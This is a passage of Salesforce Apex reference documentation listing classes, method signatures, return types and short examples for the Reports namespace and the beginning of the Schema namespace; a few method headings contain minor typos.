**setStandardFilters(filters)**
Sets one or more standard filters on the report.

**Signature**
```java
public void setStandardFilters(List<Reports.StandardFilter> filters)
```

**Parameters**
- **filters**
  Type: List<Reports.StandardFilter>

Return Value
Type: void

**ReportResults Class**
Contains the results of running a report.

**Namespace**
Reports

**ReportResults Methods**
The following are methods for ReportResults. All are instance methods.
IN THIS SECTION:

- **getAllData()**
  Returns all report data.

- **getFactMap()**
  Returns summary-level data or summary and detailed data for each row or column grouping. Detailed data is available if the `includeDetails` parameter is set to `true` when the report is run.

- **getGroupingsAcross()**
  Returns a collection of column groupings, keys, and values.

- **getGroupingsDown()**
  Returns a collection of row groupings, keys, and values.

- **getHasDetailRows()**
  Returns information about whether the fact map has detail rows.

- **getReportExtendedMetadata()**
  Returns additional, detailed metadata about the report, including data type and label information for groupings and summaries.

- **getReportMetadata()**
  Returns metadata about the report, including grouping and summary information.

### getAllData() Method

**Returns all report data.**

**Syntax**

```
public Boolean getAllData()
```

**Return Value**

Type: Boolean

**Usage**

When `true`, indicates that all report results are returned.

When `false`, indicates that results are returned for the same number of rows as in a report run in Salesforce.

**Note:** For reports that contain too many records, use filters to refine results.

### getFactMap() Method

Returns summary-level data or summary and detailed data for each row or column grouping. Detailed data is available if the `includeDetails` parameter is set to `true` when the report is run.

**Syntax**

```
public MAP<String,Reports.ReportFact> getFactMap()
```
Return Value
Type: `Map<String,Reports.ReportFact>`

**getGroupingsAcross()**
Returns a collection of column groupings, keys, and values.

**Syntax**
```
public Reports.Dimension getGroupingsAcross()
```

Return Value
Type: `Reports.Dimension`

**getGroupingsDown()**
Returns a collection of row groupings, keys, and values.

**Syntax**
```
public Reports.Dimension getGroupingsDown()
```

Return Value
Type: `Reports.Dimension`

**getHasDetailRows()**
Returns information about whether the fact map has detail rows.

**Syntax**
```
public Boolean getHasDetailRows()
```

Return Value
Type: `Boolean`

**Usage**
- When `true`, indicates that the fact map returns values for summary-level and record-level data.
- When `false`, indicates that the fact map returns summary values.

**getReportExtendedMetadata()**
Returns additional, detailed metadata about the report, including data type and label information for groupings and summaries.
Syntax

```java
public Reports.ReportExtendedMetadata getReportExtendedMetadata()
```

**Return Value**
Type: Reports.ReportExtendedMetadata

**getReportMetadata()**
Returns metadata about the report, including grouping and summary information.

Syntax

```java
public Reports.ReportMetadata getReportMetadata()
```

**Return Value**
Type: Reports.ReportMetadata

**ReportScopeInfo Class**
Contains information about possible scope values that you can choose. Scope values depend on the report type. For example, you can set the scope for opportunity reports to **All opportunities**, **My team’s opportunities**, or **My opportunities**.

**Namespace**
Reports

**IN THIS SECTION:**
ReportScopeInfo Methods

**ReportScopeInfo Methods**
The following are methods for ReportScopeInfo.

**IN THIS SECTION:**
getDefaultValue()
Returns the default scope of the data to display in the report.

getValues()
Returns a list of scope values specified for the report.

**getDefaultValue()**
Returns the default scope of the data to display in the report.
### Signature

```java
public String getDefaultValue()
```

### Return Value

Type: `String`

### getValues()

Returns a list of scope values specified for the report.

### Signature

```java
public List<Reports.ReportScopeValue> getValues()
```

### Return Value

Type: `List<Reports.ReportScopeValue>`

### ReportScopeValue Class

Contains information about a possible scope value. Scope values depend on the report type. For example, you can set the scope for opportunity reports to `All opportunities`, `My team’s opportunities`, or `My opportunities`.

### Namespace

`Reports`

### IN THIS SECTION:

- **ReportScopeValue Methods**

### ReportScopeValue Methods

The following are methods for `ReportScopeValue`.

### IN THIS SECTION:

- **getAllowsDivision()**
  
  Returns a boolean value that indicates whether you can segment the report by this scope.

- **getLabel()**
  
  Returns the display name of the scope of the report.

- **getValue()**
  
  Returns the scope value for the report.

- **getAllowsDivision()**
  
  Returns a boolean value that indicates whether you can segment the report by this scope.
Signature

public Boolean getAllowsDivision()

Return Value
Type: Boolean

getLabel()
Returns the display name of the scope of the report.

Signature

public String getLabel()

Return Value
Type: String

getValue()
Returns the scope value for the report.

Signature

public String getValue()

Return Value
Type: String

ReportType Class
Contains the unique API name and display name for the report type.

Namespace

Reports

ReportType Methods
The following are methods for ReportType. All are instance methods.

IN THIS SECTION:

getLabel()
Returns the localized display name of the report type.

getType()
Returns the unique identifier of the report type.
getLabel()  
Returns the localized display name of the report type.

Syntax
```java
public String getLabel()
```

Return Value
Type: String

gType()  
Returns the unique identifier of the report type.

Syntax
```java
public String getType()
```

Return Value
Type: String

ReportTypeColumn Class
Contains detailed report type metadata about a field, including data type, display name, and filter values.

Namespace
Reports

ReportTypeColumn Methods
The following are methods for ReportTypeColumn. All are instance methods.

IN THIS SECTION:

- getDataType()  
  Returns the data type of the field.

- getFilterValues()  
  If the field data type is picklist, multi-select picklist, boolean, or checkbox, returns all filter values for a field. For example, checkbox fields always have a value of true or false. For fields of other data types, the filter value is an empty array, because their values can't be determined.

- getFilterable()  
  If the field is of a type that can't be filtered, returns False. For example, fields of the type Encrypted Text can't be filtered.

- getLabel()  
  Returns the localized display name of the field.
getName()
Returns the unique API name of the field.

getDataType()
Returns the data type of the field.

Syntax
public Reports.ColumnDataType getDataType()

Return Value
Type: Reports.ColumnDataType

getFilterValues()
If the field data type is picklist, multi-select picklist, boolean, or checkbox, returns all filter values for a field. For example, checkbox fields always have a value of true or false. For fields of other data types, the filter value is an empty array, because their values can't be determined.

Syntax
public LIST<Reports.FilterValue> getFilterValues()

Return Value
Type: List<Reports.FilterValue>

getFilterable()
If the field is of a type that can't be filtered, returns false. For example, fields of the type Encrypted Text can't be filtered.

Syntax
public Boolean getFilterable()

Return Value
Type: Boolean

getLabel()
Returns the localized display name of the field.

Syntax
public String getLabel()
Return Value
Type: String

getName ()
Returns the unique API name of the field.

Syntax
public String getName()

Return Value
Type: String

ReportTypeColumnCategory Class
Contains category information for all fields in the report type.

Namespace
Reports

ReportTypeColumnCategory Methods
The following are methods for ReportTypeColumnCategory. All are instance methods.

IN THIS SECTION:
getColumns()  
Returns information for all fields in the report type. The information is organized by each section's unique API name.

getLabel()  
Returns the localized display name of a section in the report type under which fields are organized. For example, in an Accounts with Contacts custom report type, Account. General is the display name of the section that contains fields on general account information.

getColumns ()
Returns information for all fields in the report type. The information is organized by each section's unique API name.

Syntax
public MAP<String,Reports.ReportTypeColumn> getColumns()

Return Value
Type: Map<String,Reports.ReportTypeColumn>
**getLabel()**

Returns the localized display name of a section in the report type under which fields are organized. For example, in an Accounts with Contacts custom report type, *Account General* is the display name of the section that contains fields on general account information.

**Syntax**

```java
public String getLabel()
```

**Return Value**

Type: String

---

**ReportTypeMetadata Class**

Contains report type metadata, which gives you information about the fields that are available in each section of the report type, plus filter information for those fields.

**Namespace**

Reports

---

**IN THIS SECTION:**

ReportTypeMetadata Methods

---

**ReportTypeMetadata Methods**

The following are methods for `ReportTypeMetadata`. All are instance methods.

**IN THIS SECTION:**

- `getCategories()`
  Returns all fields in the report type. The fields are organized by section.
- `getDivisionInfo()`
  Returns the default division and a list of all possible divisions that can be applied to this type of report.
- `getScopelInfo()`
  Returns information about the scopes that can be applied to this type of report.
- `getStandardDateFilterDurationGroups()`
  Returns information about the standard date filter groupings that can be applied to this type of report. Standard date filter groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day and a custom value based on a user-defined date range.
- `getStandardFilterInfos()`
  Returns information about standard date filters that can be applied to this type of report.

**getCategories()**

Returns all fields in the report type. The fields are organized by section.
**Syntax**

```java
public LIST<Reports.ReportTypeColumnCategory> getCategories()
```

**Return Value**

Type: `List<Reports.ReportTypeColumnCategory>`

---

**getDivisionInfo()**

Returns the default division and a list of all possible divisions that can be applied to this type of report.

**Signature**

```java
public Reports.ReportDivisionInfo getDivisionInfo()
```

**Return Value**

Type: `Reports.ReportDivisionInfo`

---

**getScopeInfo()**

Returns information about the scopes that can be applied to this type of report.

**Signature**

```java
public Reports.ReportScopeInfo getScopeInfo()
```

**Return Value**

Type: `Reports.ReportScopeInfo`

---

**getStandardDateFilterDurationGroups()**

Returns information about the standard date filter groupings that can be applied to this type of report. Standard date filter groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day and a custom value based on a user-defined date range.

**Signature**

```java
public List<Reports.StandardDateFilterDurationGroup> getStandardDateFilterDurationGroups()
```

**Return Value**

Type: `List<Reports.StandardDateFilterDurationGroup>`

---

**getStandardFilterInfos()**

Returns information about standard date filters that can be applied to this type of report.
Signature

public Map<String, Reports.StandardFilterInfo> getStandardFilterInfos()

Return Value
Type: Map<String, Reports.StandardFilterInfo>

SortColumn Class
Contains information about the sort column used in the report.

Namespace
Reports

IN THIS SECTION:
SortColumn Methods

SortColumn Methods
The following are methods for SortColumn.

IN THIS SECTION:
getSortColumn()
Returns the column used to sort the records in the report.

getSortOrder()
Returns the sort order—ascending or descending—for the sort column.

setSortColumn(sortColumn)
Sets the column used to sort the records in the report.

setSortOrder(SortOrder)
Sets the sort order—ascending or descending—for the sort column.

getSortColumn()
Returns the column used to sort the records in the report.

Signature

public String getSortColumn()

Return Value
Type: String
**getSortOrder()**

Returns the sort order—ascending or descending—for the sort column.

**Signature**

```java
public Reports.ColumnSortOrder getSortOrder()
```

**Return Value**

Type: `Reports.ColumnSortOrder`

**setSortColumn** (sortColumn)

Sets the column used to sort the records in the report.

**Signature**

```java
public void setSortColumn(String sortColumn)
```

**Parameters**

`sortColumn`

Type: `String`

**Return Value**

Type: `void`

**setSortOrder** (SortOrder)

Sets the sort order—ascending or descending—for the sort column.

**Signature**

```java
public void setSortOrder(Reports.ColumnSortOrder sortOrder)
```

**Parameters**

`sortOrder`

Type: `Reports.ColumnSortOrder`

**Return Value**

Type: `void`

**StandardDateFilter Class**

Contains information about standard date filter available in the report—for example, the API name, start date, and end date of the standard date filter duration as well as the API name of the date field on which the filter is placed.
Namespace

Reports

IN THIS SECTION:

StandardDateFilter Methods

StandardDateFilter Methods
The following are methods for StandardDateFilter.

IN THIS SECTION:

getColumn()

Returns the API name of the standard date filter column.

gDurationValue()

Returns duration information about a standard date filter, such as start date, end date, and display name and API name of the date filter.

gEndDate()

Returns the end date of the standard date filter.

gStartDate()

Returns the start date for the standard date filter.

setColumn(standardDateFilterColumnName)

Sets the API name of the standard date filter column.

setDurationValue(durationName)

Sets the API name of the standard date filter.

setEndDate(endDate)

Sets the end date for the standard date filter.

setStartDate(startDate)

Sets the start date for the standard date filter.

**getColumn()**

Returns the API name of the standard date filter column.

**Signature**

```java
public String getColumn()
```

**Return Value**

Type: String

**getDurationValue()**

Returns duration information about a standard date filter, such as start date, end date, and display name and API name of the date filter.
Signature
public String getDurationValue()

Return Value
Type: String

getEndDate()
Returns the end date of the standard date filter.

Signature
public String getEndDate()

Return Value
Type: String

getStartDate()
Returns the start date for the standard date filter.

Signature
public String getStartDate()

Return Value
Type: String

setColumn(standardDateFilterColumnName)
Sets the API name of the standard date filter column.

Signature
public void setColumn(String standardDateFilterColumnName)

Parameters
standardDateFilterColumnName
  Type: String

Return Value
Type: void
setDurationValue (durationName)
Sets the API name of the standard date filter.

Signature
public void setDurationValue(String durationName)

Parameters
durationName
Type: String

Return Value
Type: void

setEndDate (endDate)
Sets the end date for the standard date filter.

Signature
public void setEndDate(String endDate)

Parameters
date
Type: String

Return Value
Type: void

setStartDate (startDate)
Sets the start date for the standard date filter.

Signature
public void setStartDate(String startDate)

Parameters
startDate
Type: String

Return Value
Type: void
StandardDateFilterDuration Class

Contains information about each standard date filter—also referred to as a relative date filter. It contains the API name and display label of the standard date filter duration as well as the start and end dates.

Namespace

Reports

IN THIS SECTION:

StandardDateFilterDuration Methods

StandardDateFilterDuration Methods

The following are methods for StandardDateFilterDuration.

IN THIS SECTION:

getEndDate() Returns the end date of the date filter.

getLabel() Returns the display name of the date filter. Possible values are relative date filters—like Current FY and Current FQ—and custom date filters.

getStartDate() Returns the start date of the date filter.

getValue() Returns the API name of the date filter. Possible values are relative date filters—like THIS_FISCAL_YEAR and NEXT_FISCAL_QUARTER—and custom date filters.

getEndDate()

Returns the end date of the date filter.

Signature

public String getEndDate()

Return Value

Type: String

getLabel()

Returns the display name of the date filter. Possible values are relative date filters—like Current FY and Current FQ—and custom date filters.
Signature
public String getLabel()

Return Value
Type: String

getStartDate()
Returns the start date of the date filter.

Signature
public String getStartDate()

Return Value
Type: String

getValue()
Returns the API name of the date filter. Possible values are relative date filters—like THIS_FISCAL_YEAR and NEXT_FISCAL_QUARTER—and custom date filters.

Signature
public String getValue()

Return Value
Type: String

StandardDateFilterDurationGroup Class
Contains information about the standard date filter groupings, such as the grouping display label and all standard date filters that fall under the grouping. Groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day, and custom values based on user-defined date ranges.

Namespace
Reports

IN THIS SECTION:

StandardDateFilterDurationGroup Methods

StandardDateFilterDurationGroup Methods
The following are methods for StandardDateFilterDurationGroup.
IN THIS SECTION:

- **getLabel()**
  Returns the display label for the standard date filter grouping.

- **getStandardDateFilterDurations()**
  Returns the standard date filter groupings.

**getLabel()**

Returns the display label for the standard date filter grouping.

**Signature**

```java
public String getLabel()
```

**Return Value**

Type: String

**getStandardDateFilterDurations()**

Returns the standard date filter groupings.

**Signature**

```java
public List<Reports.StandardDateFilterDuration> getStandardDateFilterDurations()
```

**Return Value**

Type: List<Reports.StandardDateFilterDuration>

For example, a standard filter date grouping might look like this:

```java
Reports.StandardDateFilterDuration[endDate=2015-12-31, label=Current FY, startDate=2015-01-01, value=THIS_FISCAL_YEAR],
Reports.StandardDateFilterDuration[endDate=2014-12-31, label=Previous FY, startDate=2014-01-01, value=LAST_FISCAL_YEAR],
Reports.StandardDateFilterDuration[endDate=2014-12-31, label=Previous 2 FY, startDate=2013-01-01, value=LAST_N_FISCAL_YEARS:2]
```

**StandardFilter Class**

Contains information about the standard filter defined in the report, such as the filter field API name and filter value.

**Namespace**

`Reports`
Usage

Use to get or set standard filters on a report. Standard filters vary by report type. For example, standard filters for reports on the Opportunity object are Show, Opportunity Status, and Probability.

StandardFilter Methods

The following are methods for StandardFilter.

**getAPIName()**
Return the API name of the standard filter.

**getValue()**
Returns the standard filter value.

**setName(name)**
Sets the API name of the standard filter.

**setValue(value)**
Sets the standard filter value.

**getName()**
Return the API name of the standard filter.

**Signature**

public String getName()

**Return Value**

Type: String

**getValue()**
Returns the standard filter value.

**Signature**

public String getValue()

**Return Value**

Type: String
**setName(name)**
Sets the API name of the standard filter.

**Signature**
`public void setName(String name)`

**Parameters**
- `name`
  - Type: String

**Return Value**
- Type: void

**setValue(value)**
Sets the standard filter value.

**Signature**
`public void setValue(String value)`

**Parameters**
- `value`
  - Type: String

**Return Value**
- Type: void

**StandardFilterInfo Class**
Is an abstract base class for an object that provides standard filter information.

**Namespace**
- Reports

**IN THIS SECTION:**
- StandardFilterInfo Methods

**StandardFilterInfo Methods**
The following are methods for StandardFilterInfo.
IN THIS SECTION:

getLabel()
Returns the display label of the standard filter.

type
Returns the type of standard filter.

getLabel()
Returns the display label of the standard filter.

Signature
public String getLabel()

Return Value
Type: String

getype()
Returns the type of standard filter.

Signature
public Reports.StandardFilterType getType()

Return Value
Type: Reports.StandardFilterType

StandardFilterInfoPicklist Class
Contains information about the standard filter picklist, such as the display name and type of the filter field, the default picklist value, and a list of all possible picklist values.

Namespace
Reports

IN THIS SECTION:

StandardFilterInfoPicklist Methods
The following are methods for StandardFilterInfoPicklist.
getDefaultValue()
Returns the default value for the standard filter picklist.

Signature
public String getDefaultValue()

Return Value
Type: String

generateFilterValues()
Returns a list of standard filter picklist values.

Signature
public List<Reports.FilterValue> getFilterValues()

Return Value
Type: List<Reports.FilterValue>

StandardFilterType Enum
The StandardFilterType enum describes the type of standard filters in a report. The getType() method returns a Reports.StandardFilterType enum value.

Namespace
Reports

Enum Values
The following are the values of the Reports.StandardFilterType enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>PICKLIST</td>
<td>Values for standard filter type.</td>
</tr>
</tbody>
</table>
SummaryValue Class

Contains summary data for a cell of the report.

Namespace

Reports

SummaryValue Methods

The following are methods for SummaryValue. All are instance methods.

IN THIS SECTION:

getLabel()

Returns the formatted summary data for a specified cell.

getValue()

Returns the numeric value of the summary data for a specified cell.

getLabel()

Returns the formatted summary data for a specified cell.

Syntax

public String getLabel()

Return Value

Type: String

getValue()

Returns the numeric value of the summary data for a specified cell.

Syntax

public Object getValue()

Return Value

Type: Object

ThresholdInformation Class

Contains a list of evaluated conditions for a report notification.
Namespace
Reports

IN THIS SECTION:
ThresholdInformation Constructors
ThresholdInformation Methods

ThresholdInformation Constructors
The following are constructors for ThresholdInformation.

IN THIS SECTION:
ThresholdInformation(evaluatedConditions)
Creates a new instance of the Reports.EvaluatedCondition class.

ThresholdInformation (evaluatedConditions)
Creates a new instance of the Reports.EvaluatedCondition class.

Signature
public ThresholdInformation(List<Reports.EvaluatedCondition> evaluatedConditions)

Parameters
evaluatedConditions
Type: List<Reports.EvaluatedCondition>
A list of Reports.EvaluatedCondition objects.

ThresholdInformation Methods
The following are methods for ThresholdInformation.

IN THIS SECTION:
getEvaluatedConditions()
Returns a list of evaluated conditions for a report notification.

getEvaluatedConditions ()
Returns a list of evaluated conditions for a report notification.

Signature
public List<Reports.EvaluatedCondition> getEvaluatedConditions()
Return Value

Type: List<Reports.EvaluatedCondition>

Reports Exceptions

The Reports namespace contains exception classes.

All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In Exceptions on page 1956.

The Reports namespace contains these exceptions:

<table>
<thead>
<tr>
<th>Exception</th>
<th>Description</th>
<th>Methods</th>
</tr>
</thead>
<tbody>
<tr>
<td>Reports.FeatureNotSupportedException</td>
<td>Unable to access report instance</td>
<td></td>
</tr>
<tr>
<td>Reports.InvalidFilterException</td>
<td>Filter validation error</td>
<td>List&lt;String&gt; getFilterErrors() returns a list of filter errors</td>
</tr>
<tr>
<td>Reports.InvalidReportMetadataException</td>
<td>Missing metadata for filters</td>
<td>List&lt;String&gt; getReportMetadataErrors() returns a list of metadata errors</td>
</tr>
<tr>
<td>Reports.InvalidSnapshotDateException</td>
<td>Invalid historical report format</td>
<td>List&lt;String&gt; getSnapshotDateErrors() returns a list of snapshot date errors</td>
</tr>
<tr>
<td>Reports.MetadataException</td>
<td>No selected report columns</td>
<td></td>
</tr>
<tr>
<td>Reports.ReportRunException</td>
<td>Error running report</td>
<td></td>
</tr>
<tr>
<td>Reports.UnsupportedOperationException</td>
<td>Missing permissions for running reports</td>
<td></td>
</tr>
</tbody>
</table>

Schema Namespace

The Schema namespace provides classes and methods for schema metadata information.

The following are the classes in the Schema namespace.

IN THIS SECTION:

- ChildRelationship Class
  Contains methods for accessing the child relationship as well as the child sObject for a parent sObject.
- DataCategory Class
  Represents the categories within a category group.
- DataCategoryGroupSObjectTypePair Class
  Specifies a category group and an associated object.
DescribeColorResult Class
Contains color metadata information for a tab.

DescribeDataCategoryGroupResult Class
Contains the list of the category groups associated with KnowledgeArticleVersion and Question.

DescribeDataCategoryGroupStructureResult Class
Contains the category groups and categories associated with KnowledgeArticleVersion and Question.

DescribeFieldResult Class
Contains methods for describing sObject fields.

DescribeIconResult Class
Contains icon metadata information for a tab.

DescribeSObjectResult Class
Contains methods for describing sObjects.

DescribeTabResult Class
Contains tab metadata information for a tab in a standard or custom app available in the Salesforce user interface.

DescribeTabSetResult Class
Contains metadata information about a standard or custom app available in the Salesforce user interface.

DisplayType Enum
A Schema.DisplayType enum value is returned by the field describe result’s getType method.

FieldSet Class
Contains methods for discovering and retrieving the details of field sets created on sObjects.

FieldSetMember Class
Contains methods for accessing the metadata for field set member fields.

PicklistEntry Class
Represents a picklist entry.

RecordTypeInfo Class
Contains methods for accessing record type information for an sObject with associated record types.

SOAPType Enum
A Schema.SOAPType enum value is returned by the field describe result getSoapType method.

SObjectField Class
A Schema.sObjectField object is returned from the field describe result using the getControler and getSObjectField methods.

SObjectType Class
A Schema.sObjectType object is returned from the field describe result using the getReferenceTo method, or from the sObject describe result using the getSObjectType method.

ChildRelationship Class
Contains methods for accessing the child relationship as well as the child sObject for a parent sObject.

Namespace
Schema
Example

A ChildRelationship object is returned from the sObject describe result using the `getChildRelationship` method. For example:

```java
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
```

ChildRelationship Methods

The following are methods for `ChildRelationship`. All are instance methods.

**IN THIS SECTION:**

- `getChildSObject()`
  - Returns the token of the child sObject on which there is a foreign key back to the parent sObject.
- `getField()`
  - Returns the token of the field that has a foreign key back to the parent sObject.
- `getRelationshipName()`
  - Returns the name of the relationship.
- `isCascadeDelete()`
  - Returns `true` if the child object is deleted when the parent object is deleted, `false` otherwise.
- `isDeprecatedAndHidden()`
  - Reserved for future use.
- `isRestrictedDelete()`
  - Returns `true` if the parent object can't be deleted because it is referenced by a child object, `false` otherwise.

**getChildSObject()**

Returns the token of the child sObject on which there is a foreign key back to the parent sObject.

**Signature**

```java
public Schema.SObjectType getChildSObject()
```

**Return Value**

Type: `Schema.SObjectType`

**getField()**

Returns the token of the field that has a foreign key back to the parent sObject.

**Signature**

```java
public Schema.SObjectField getField()
```
getRelationshipName()
Returns the name of the relationship.

Signature
public String getRelationshipName()

isCascadeDelete()
Returns `true` if the child object is deleted when the parent object is deleted, `false` otherwise.

Signature
public Boolean isCascadeDelete()

isDeprecatedAndHidden()
Reserved for future use.

Signature
public Boolean isDeprecatedAndHidden()

isRestrictedDelete()
Returns `true` if the parent object can’t be deleted because it is referenced by a child object, `false` otherwise.

Signature
public Boolean isRestrictedDelete()
DataCategory Class

Represents the categories within a category group.

Namespace

Schema

Usage

The Schema.DataCategory object is returned by the getTopCategories method.

DataCategory Methods

The following are methods for DataCategory. All are instance methods.

IN THIS SECTION:

  - getChildCategories()
    Returns a recursive object that contains the visible sub categories in the data category.
  - getLabel()
    Returns the label for the data category used in the Salesforce user interface.
  - getName()
    Returns the unique name used by the API to access to the data category.

**getChildCategories()**

Returns a recursive object that contains the visible sub categories in the data category.

**Signature**

```
public Schema.DataCategory getChildCategories()
```

**Return Value**

Type: List<Schema.DataCategory>

**getLabel()**

Returns the label for the data category used in the Salesforce user interface.

**Signature**

```
public String getLabel()
```

**Return Value**

Type: String
getName ()
Returns the unique name used by the API to access to the data category.

Signature
public String getName()
DataCategoryGroupSobjectTypePair Methods

The following are methods for DataCategoryGroupSobjectTypePair. All are instance methods.

IN THIS SECTION:

- **getDataCategoryGroupName()**
  Returns the unique name used by the API to access the data category group.

- **getSobject()**
  Returns the object name associated with the data category group.

- **setDataCategoryGroupName(name)**
  Specifies the unique name used by the API to access the data category group.

- **setSobject(sObjectName)**
  Sets the sObject associated with the data category group.

### getDataCategoryGroupName()

Returns the unique name used by the API to access the data category group.

**Signature**

```
public String getDataCategoryGroupName()
```

**Return Value**

Type: String

### getSobject()

Returns the object name associated with the data category group.

**Signature**

```
public String getSobject()
```

**Return Value**

Type: String

### setDataCategoryGroupName(name)

Specifies the unique name used by the API to access the data category group.

**Signature**

```
public String setDataCategoryGroupName(String name)
```
Parameters

name
   Type: String

Return Value

Type: Void

**setSobject(sObjectName)**

Sets the sObject associated with the data category group.

Signature

```
public Void setSobject(String sObjectName)
```

Parameters

sObjectName
   Type: String

   The sObjectName is the object name associated with the data category group. Valid values are:
   - KnowledgeArticleVersion—for article types.
   - Question—for questions from Answers.

Return Value

Type: Void

**DescribeColorResult Class**

Contains color metadata information for a tab.

**Namespace**

Schema

**Usage**

The getColors method of the Schema.DescribeTabResult class returns a list of Schema.DescribeColorResult objects that describe colors used in a tab.

The methods in the Schema.DescribeColorResult class can be called using their property counterparts. For each method starting with get, you can omit the get prefix and the ending parentheses () to call the property counterpart. For example, `colorResultObj.color` is equivalent to `colorResultObj.getColor()`.
Example

This sample shows how to get the color information in the Sales app for the first tab’s first color.

```java
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.DescribeTabs();

// Iterate through each tab set describe for each app and display the info
for (Schema.DescribeTabSetResult tsr : tabSetDesc) {
    // Display tab info for the Sales app
    if (tsr.getLabel() == 'Sales') {
        // Get color information for the first tab
        List<Schema.DescribeColorResult> colorDesc = tsr.getTabs()[0].getColors();
        // Display the icon color, theme, and context of the first color returned
        System.debug('Color: ' + colorDesc[0].getColor());
        System.debug('Theme: ' + colorDesc[0].getTheme());
        System.debug('Context: ' + colorDesc[0].getContext());
    }
}

// Example debug statement output
// DEBUG|Color: 1797C0
// DEBUG|Theme: theme4
// DEBUG|Context: primary
```

DescribeColorResult Methods

The following are methods for DescribeColorResult. All are instance methods.

IN THIS SECTION:

- `getColor()`
  Returns the Web RGB color code, such as `00FF00`.

- `getContext()`
  Returns the color context. The context determines whether the color is the main color for the tab or not.

- `getTheme()`
  Returns the color theme.

- `getColor()`
  Returns the Web RGB color code, such as `00FF00`.

**Signature**

```java
public String getColor()
```

**Return Value**

Type: String
getContext()  
Returns the color context. The context determines whether the color is the main color for the tab or not.

Signature  
`public String getContext()`  

Return Value  
Type: String

g THEME ()  
Returns the color theme.

Signature  
`public String getTheme()`  

Return Value  
Type: String

Possible theme values include theme3, theme4, and custom.
- theme3 is the Salesforce theme introduced during Spring '10.
- theme4 is the Salesforce theme introduced in Winter '14 for the mobile touchscreen version of Salesforce.
- custom is the theme name associated with a custom icon.

DescribeDataCategoryGroupResult Class  
Contains the list of the category groups associated with KnowledgeArticleVersion and Question.

Namespace  
Schema

Usage  
The `describeDataCategoryGroups` method returns a `Schema.DescribeDataCategoryGroupResult` object containing the list of the category groups associated with the specified object.

For additional information and code examples using `describeDataCategoryGroups`, see Accessing All Data Categories Associated with an sObject.

Example  
The following is an example of how to instantiate a data category group describe result object:

```java
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
```
DescribeDataCategoryGroupResult Methods

The following are methods for DescribeDataCategoryGroupResult. All are instance methods.

IN THIS SECTION:
  getCategoryCount()
  Returns the number of visible data categories in the data category group.
  getDescription()
  Returns the description of the data category group.
  getLabel()
  Returns the label for the data category group used in the Salesforce user interface.
  getName()
  Returns the unique name used by the API to access to the data category group.
  getSobject()
  Returns the object name associated with the data category group.

getCategoryCount()
Returns the number of visible data categories in the data category group.

Signature
public Integer getCategoryCount()  

Return Value
Type: Integer

describeDataCategoryGroupResult ClassReference
**getLabel()**

Returns the label for the data category group used in the Salesforce user interface.

**Signature**

```java
public String getLabel()
```

**Return Value**

Type: String

**getName()**

Returns the unique name used by the API to access to the data category group.

**Signature**

```java
public String getName()
```

**Return Value**

Type: String

**getSobject()**

Returns the object name associated with the data category group.

**Signature**

```java
public String getSobject()
```

**Return Value**

Type: String

---

**DescribeDataCategoryGroupStructureResult Class**

Contains the category groups and categories associated with KnowledgeArticleVersion and Question.

**Namespace**

`Schema`

**Usage**

The `describeDataCategoryGroupStructures` method returns a list of `Schema.DescribeDataCategoryGroupStructureResult` objects containing the category groups and categories associated with the specified object.

For additional information and code examples, see Accessing All Data Categories Associated with an sObject.
Example

The following is an example of how to instantiate a data category group structure describe result object:

```java
List<DataCategoryGroupSobjectTypePair> pairs =
    new List<DataCategoryGroupSobjectTypePair>();

DataCategoryGroupSobjectTypePair pair1 =
    new DataCategoryGroupSobjectTypePair();
pair1.setSobject('KnowledgeArticleVersion');
pair1.setDataCategoryGroupName('Regions');

DataCategoryGroupSobjectTypePair pair2 =
    new DataCategoryGroupSobjectTypePair();
pair2.setSobject('Questions');
pair2.setDataCategoryGroupName('Regions');

pairs.add(pair1);
pairs.add(pair2);

List<Schema.DescribeDataCategoryGroupStructureResult> results =
    Schema.describeDataCategoryGroupStructures(pairs, true);
```

DescribeDataCategoryGroupStructureResult Methods

The following are methods for `DescribeDataCategoryGroupStructureResult`. All are instance methods.

IN THIS SECTION:

- `getDescription()`
  Returns the description of the data category group.
- `getLabel()`
  Returns the label for the data category group used in the Salesforce user interface.
- `getName()`
  Returns the unique name used by the API to access to the data category group.
- `getSobject()`
  Returns the name of object associated with the data category group.
- `getTopCategories()`
  Returns a `Schema.DataCategory` object, that contains the top categories visible depending on the user's data category group visibility settings.

**getDescription()**

Returns the description of the data category group.

**Signature**

```java
public String getDescription()
```
Return Value
Type: String

**getLabel()**
Returns the label for the data category group used in the Salesforce user interface.

**Signature**
```java
public String getLabel()
```

Return Value
Type: String

**getName()**
Returns the unique name used by the API to access to the data category group.

**Signature**
```java
public String getName()
```

Return Value
Type: String

**getSobject()**
Returns the name of object associated with the data category group.

**Signature**
```java
public String getSobject()
```

Return Value
Type: String

**getTopCategories()**
Returns a `Schema.DataCategory` object, that contains the top categories visible depending on the user's data category group visibility settings.

**Signature**
```java
public List<Schema.DataCategory> getTopCategories()
```
Return Value
Type: List<Schema.DataCategory>

Usage
For more information on data category group visibility, see “About Category Group Visibility” in the Salesforce online help.

DescribeFieldResult Class
Contains methods for describing sObject fields.

Namespace
Schema

Example
The following is an example of how to instantiate a field describe result object:

```java
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();
```

DescribeFieldResult Methods
The following are methods for DescribeFieldResult. All are instance methods.

IN THIS SECTION:

- `getByteLength()`
  For variable-length fields (including binary fields), returns the maximum size of the field, in bytes.

- `getCalculatedFormula()`
  Returns the formula specified for this field.

- `getController()`
  Returns the token of the controlling field.

- `getDefaultValue()`
  Returns the default value for this field.

- `getDefaultValueFormula()`
  Returns the default value specified for this field if a formula is not used.

- `getDigits()`
  Returns the maximum number of digits specified for the field. This method is only valid with Integer fields.

- `getInlineHelpText()`
  Returns the content of the field-level help.

- `getLabel()`
  Returns the text label that is displayed next to the field in the Salesforce user interface. This label can be localized.

- `getLength()`
  For string fields, returns the maximum size of the field in Unicode characters (not bytes).
getLocalName()
Returns the name of the field, similar to the getName method. However, if the field is part of the current namespace, the namespace portion of the name is omitted.

getName()
